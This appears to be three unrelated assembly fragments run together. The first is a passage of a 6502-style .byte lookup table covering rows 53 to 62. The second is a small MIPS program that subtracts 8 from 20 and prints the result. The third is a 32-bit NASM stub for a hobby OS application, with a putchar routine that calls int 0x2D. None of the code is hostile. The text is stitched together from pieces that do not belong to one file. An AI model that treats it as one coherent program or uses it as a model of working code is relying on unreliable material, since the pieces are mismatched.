$3e, $ae, $3f, $3f, $3f, $d1, $40, $67, $41, $0, $41, $9a, $42, $38, $42, $d7, $43, $79, $44, $1e, $44, $c4, $45, $6d, $46, $18, $46, $c4 .byte $47, $73, $48, $23, $48, $d5, $49, $89 .byte $1f, $9c, $1f, $3b, $1e, $db, $1e, $7d, $1e, $22, $1d, $c7, $1d, $6f, $1d, $18, $1c, $c2, $1c, $6f, $1c, $1d, $1b, $cc ; row 53 .byte $35, $2, $35, $a, $35, $16, $35, $26, $35, $3c, $35, $56, $35, $75, $35, $99, $35, $c1, $35, $ee, $36, $21, $36, $57, $36, $92, $36, $d1, $37, $15, $37, $5c .byte $37, $a8, $37, $f8, $38, $4d, $38, $a5, $39, $2, $39, $62, $39, $c6, $3a, $2e, $3a, $99, $3b, $9, $3b, $7b, $3b, $f0, $3c, $6a, $3c, $e6, $3d, $66, $3d, $e8 .byte $3e, $6f, $3e, $f7, $3f, $83, $40, $12, $40, $a3, $41, $37, $41, $cd, $42, $66, $43, $2, $43, $9f, $44, $40, $44, $e1, $45, $86, $46, $2d, $46, $d6, $47, $81 .byte $48, $2e, $48, $dc, $49, $8d, $4a, $40, $4a, $f3 .byte $1f, $9e, $1f, $3f, $1e, $e0, $1e, $84, $1e, $2a, $1d, $d1, $1d, $7a, $1d, $25, $1c, $d1, $1c, $7f, $1c, $2e ; row 54 .byte $36, $2, $36, $9, $36, $15, $36, $26, $36, $3b, $36, $55, $36, $73, $36, $96, $36, $be, $36, $ea, $37, $1c, $37, $51, $37, $8a, $37, $c8, $38, $b, $38, $52 .byte $38, $9c, $38, $eb, $39, $3e, $39, $95, $39, $f0, $3a, $4f, $3a, $b1, $3b, $18, $3b, $81, $3b, $ee, $3c, $5f, $3c, $d3, $3d, $4b, $3d, $c5, $3e, $44, $3e, $c4 .byte $3f, $49, $3f, $cf, $40, $59, $40, $e5, $41, $75, $42, $8, $42, $9c, $43, $33, $43, $cc, $44, $69, $45, $7, $45, $a7, $46, $4b, $46, $ef, $47, $96, $48, $40 .byte $48, $ea, $49, $97, $4a, $47, $4a, $f6, $4b, $a9, $4c, $5e .byte $1f, $a0, $1f, $42, $1e, $e5, $1e, $8b, $1e, $33, $1d, $db, $1d, $85, $1d, $32, $1c, $de, $1c, $8e ; row 55 .byte $37, $2, $37, $9, $37, $15, $37, $25, $37, $3a, $37, $53, $37, $71, $37, $94, $37, $bb, $37, $e6, $38, $17, $38, $4b, $38, $83, $38, $c0, $39, $2, $39, $47 .byte $39, $91, $39, $de, $3a, $30, $3a, $85, $3a, $df, $3b, $3c, $3b, $9d, $3c, $2, $3c, $6a, $3c, $d5, $3d, $45, $3d, $b7, $3e, $2d, $3e, $a6, $3f, $22, $3f, $a1 .byte $40, $24, $40, $a8, $41, $31, $41, $bb, $42, $49, $42, $d9, $43, $6c, $44, $2, $44, $99, $45, $34, $45, $d0, $46, $6f, $47, $10, $47, $b3, $48, $58, $49, $0 .byte $49, $a9, $4a, $54, $4b, $2, $4b, $b0, $4c, $61, $4d, $14, $4d, $c7 .byte $1f, $a1, $1f, $45, $1e, $ea, $1e, $92, $1e, $3b, $1d, $e4, $1d, $90, $1d, $3e, $1c, $ec ; row 56 .byte $38, $2, $38, $9, $38, $14, $38, $24, $38, $39, $38, $52, $38, $6f, $38, $91, $38, $b7, $38, $e2, $39, $12, $39, $45, $39, $7d, $39, $b8, $39, $f8, $3a, $3d .byte $3a, $85, $3a, $d2, $3b, $23, $3b, $76, $3b, $ce, $3c, $2a, $3c, $8a, $3c, $ec, $3d, $53, $3d, $bd, $3e, $2b, $3e, $9c, $3f, $10, $3f, $87, $40, $2, $40, $7f .byte $41, $0, $41, $83, $42, $a, $42, $92, $43, $1e, $43, $ac, $44, $3e, $44, $d1, $45, $67, $46, $0, $46, $9a, $47, $38, $47, $d6, $48, $78, $49, $1c, $49, $c1 .byte $4a, $69, $4b, $13, $4b, $bd, $4c, $6b, $4d, $1a, $4d, $cb, $4e, $7d, $4f, $32 .byte $1f, $a3, $1f, $49, $1e, $ef, $1e, $98, $1e, $42, $1d, $ed, $1d, $9b, $1d, $49 ; row 57 .byte $39, $2, $39, $9, $39, $14, $39, $24, $39, $38, $39, $50, $39, $6d, $39, $8e, $39, $b4, $39, $de, $3a, $d, $3a, $40, $3a, $76, $3a, $b1, $3a, $f0, $3b, $34 .byte $3b, $7b, $3b, $c6, $3c, $15, $3c, $68, $3c, $be, $3d, $19, $3d, $77, $3d, $d8, $3e, $3e, $3e, $a6, $3f, $12, $3f, $81, $3f, $f3, $40, $69, $40, $e2, $41, $5e .byte $41, $dc, $42, $5e, $42, $e2, $43, $6a, $43, $f4, $44, $81, $45, $11, $45, $a2, $46, $37, $46, $cd, $47, $66, $48, $2, $48, $9f, $49, $3f, $49, $e0, $4a, $84 .byte $4b, $2a, $4b, $d2, $4c, $7c, $4d, $28, $4d, $d4, $4e, $84, $4f, $35, $4f, $e7, $50, $9c .byte $1f, $a5, $1f, $4c, $1e, $f4, $1e, $9e, $1e, $4a, $1d, $f6, $1d, $a5 ; row 58 .byte $3a, $2, $3a, $9, $3a, $14, $3a, $23, $3a, $37, $3a, $4f, $3a, $6b, $3a, $8c, $3a, $b1, $3a, $da, $3b, $9, $3b, $3a, $3b, $70, $3b, $aa, $3b, $e8, $3c, $2a .byte $3c, $70, $3c, $ba, $3d, $8, $3d, $5a, $3d, $af, $3e, $8, $3e, $64, $3e, $c4, $3f, $28, $3f, $8f, $3f, $f9, $40, $67, $40, $d8, $41, $4c, $41, $c3, $42, $3e .byte $42, $ba, $43, $3b, $43, $bd, $44, $43, $44, $cb, $45, $57, $45, $e4, $46, $74, $47, $7, $47, $9c, $48, $33, $48, $cc, $49, $69, $4a, $7, $4a, $a6, $4b, $49 .byte $4b, $ed, $4c, $93, $4d, $3c, $4d, $e5, $4e, $91, $4f, $3f, $4f, $ed, $50, $9f, $51, $52, $52, $6 .byte $1f, $a6, $1f, $4f, $1e, $f8, $1e, $a4, $1e, $51, $1d, $fe ; row 59 .byte $3b, $2, $3b, $9, $3b, $13, $3b, $23, $3b, $36, $3b, $4e, $3b, $6a, $3b, $8a, $3b, $ae, $3b, $d7, $3c, $4, $3c, $35, $3c, $6a, $3c, $a3, $3c, $e0, $3d, $21 .byte $3d, $66, $3d, $af, $3d, $fb, $3e, $4c, $3e, $a0, $3e, $f7, $3f, $53, $3f, $b1, $40, $14, $40, $79, $40, $e2, $41, $4e, $41, $bd, $42, $30, $42, $a5, $43, $1e .byte $43, $99, $44, $18, $44, $99, $45, $1e, $45, $a4, $46, $2d, $46, $b9, $47, $48, $47, $d8, $48, $6c, $49, $2, $49, $99, $4a, $34, $4a, $cf, $4b, $6e, $4c, $f .byte $4c, $b1, $4d, $56, $4d, $fc, $4e, $a4, $4f, $4f, $4f, $fa, $50, $a8, $51, $58, $52, $9, $52, $bb, $53, $70 .byte $1f, $a8, $1f, $52, $1e, $fc, $1e, $a9, $1e, $58 ; row 60 .byte $3c, $2, $3c, $8, $3c, $13, $3c, $22, $3c, $35, $3c, $4c, $3c, $68, $3c, $87, $3c, $ab, $3c, $d3, $3d, $0, $3d, $30, $3d, $64, $3d, $9c, $3d, $d8, $3e, $19 .byte $3e, $5c, $3e, $a4, $3e, $ef, $3f, $3f, $3f, $91, $3f, $e7, $40, $42, $40, $9f, $41, $0, $41, $64, $41, $cb, $42, $36, $42, $a3, $43, $15, $43, $88, $44, $0 .byte $44, $79, $44, $f6, $45, $76, $45, $f8, $46, $7d, $47, $5, $47, $8f, $48, $1c, $48, $ab, $49, $3d, $49, $d0, $4a, $67, $4b, $0, $4b, $9a, $4c, $37, $4c, $d6 .byte $4d, $77, $4e, $1a, $4e, $be, $4f, $65, $50, $e, $50, $b8, $51, $64, $52, $13, $52, $c1, $53, $73, $54, $26, $54, $d9 .byte $1f, $a9, $1f, $55, $1f, $2, $1e, $af ; row 61 .byte $3d, $2, $3d, $8, $3d, $13, $3d, $21, $3d, $34, $3d, $4b, $3d, $66, $3d, $85, $3d, $a8, $3d, $d0, $3d, $fb, $3e, $2b, $3e, $5e, $3e, $95, $3e, $d0, $3f, $10 .byte $3f, $53, $3f, $99, $3f, $e3, $40, $32, $40, $83, $40, $d8, $41, $31, $41, $8d, $41, $ec, $42, $4f, $42, $b5, $43, $1e, $43, $8a, $43, $f9, $44, $6c, $44, $e1 .byte $45, $5a, $45, $d5, $46, $54, $46, $d4, $47, $58, $47, $dd, $48, $66, $48, $f1, $49, $7f, $4a, $10, $4a, $a1, $4b, $36, $4b, $cd, $4c, $66, $4d, $2, $4d, $9e .byte $4e, $3e, $4e, $df, $4f, $82, $50, $28, $50, $ce, $51, $77, $52, $22, $52, $ce, $53, $7c, $54, $2c, $54, $dc, $55, $90, $56, $44 .byte $1f, $ab, $1f, $57, $1f, $6 ; row 62 .byte $3e, $2, $3e, $8, $3e, $12, $3e, $21, $3e, $33, $3e, $4a, $3e, $64, $3e, $83, $3e, $a6, $3e, $cc, $3e, $f7, $3f, $26, $3f, $59, $3f, $8f, $3f, $c9, $40, $8 .byte $40, $4a, $40, $8f, $40, $d8, $41, $25, $41, $75, $41, $c9, $42, $21, $42, $7b, $42, $d9, $43, $3b, $43, $9f, $44, $7, $44, $72, $44, $e0, $45, $51, $45, $c5 .byte $46, $3c, $46, $b5, $47, $32, $47, $b1, $48, $33, $48, $b7, $49, $3f, $49, $c8, $4a, $54, $4a, $e2, $4b, $73, $4c, $7, $4c, $9b, $4d, $33, $4d, $cc, $4e, $68 .byte $4f, $6, $4f, $a6, $50, $48, $50, $eb, $51, $90, $52, $38, $52, $e0, $53, $8b, $54, $38, $54, $e5, $55, $95, $56, $47, $56, $f9, $57, $ae .byte $1f, $ac, $1f, $5a
.data numberOne: .word 20 #declare integer words numberTwo: .word 8 .text #for the intructions lw $s0, numberOne #s0 gets a value of 20 lw $s1, numberTwo #s1 gets a vlue of 8 sub $t0, $s0, $s1 #t0 = s0 - s1 = 20 - 8 #print result li $v0, 1 move $a0, $t0 syscall
[map symbols app_c.map] [SECTION .s32] BITS 32 call main mov edx, 4 ;返回内核 int 02Dh api_putchar: mov edx, 1 mov al, [esp + 4] int 02Dh ret %include "app.asm"